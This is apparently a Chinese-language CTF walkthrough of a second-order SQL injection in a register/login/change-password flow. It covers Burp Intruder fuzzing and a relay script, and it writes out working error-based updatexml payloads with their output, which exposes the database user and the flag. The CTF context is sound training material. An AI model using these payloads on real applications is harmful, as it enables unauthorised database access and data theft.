1、注册
zz\ zz\ 用转义符来断开
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"zz\" and pwd='e11a45fc54767935c57df3b0f338448c'' at line 1
"zz\" and pwd='e11a45fc54767935c57df3b0f338448c'
2、然后用burpsuit进行测试 绕过的过滤
==================打开burpsuit 设置代理进行拦截,
==================然后在proxy 界面进行发送 ,发送至Intruder
==================目标不动,改动位置信息position,
clean 其他变量,然后添加username变量
username=§zz\§&password=zz\&email=1
attack type 选择cluster bomb的时候 在payloads里面可以选择 1、2参数
==================然后改动payloads type选择 runtimefile 选择文件 开始
%0d 没有被过滤 update xml
3、二次注入
原则只在 注册、登录 就在这里check 其他的类似 密码修改没有check 就有问题
username是一个注入点 很麻烦
通过中转脚本
中转脚本需要自己编写的引入模块,注意里面对应的方法,我们可以自己生成,
从注册 到登录 到更改密码 paramspost 或者 headers 或者 reposne 这都可以从repeater里面获取到
4、同时使用hackbar
确保hackbar正常使用,那么chrome 检查,然后 network一直往后拉,最后有hackbar,然后进行操作
装软件的时候坑比较多,建议慎重使用,例如重启浏览器,重启插件,重新刷新文件等等
load url =====enable post===========username=zzz\ 发现注入点
5、进行语句填写
username=zz"||updatexml(1,concat(1,(select(user()))),1)#
XPATH syntax error: 'root@localhost'
发现root账户
username=zz"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
regexp 匹配字符串 a f regexp('^f')
XPATH syntax error: ':flag{SQL_1njecti0n_1s_fun_23334'
username=zz"||(updatexml(1,reverse(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#
发现显示不全,逆序输出
XPATH syntax error: '}343332_nuf_s1_n0itcejn1_LQS{gal'
reverse 可以改为substr("abcdef",2,2)
username=zz"||(updatexml(1,(concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x3a)),1))#
XPATH syntax error: '{SQL_1njecti0n_1s_fun_233343}:'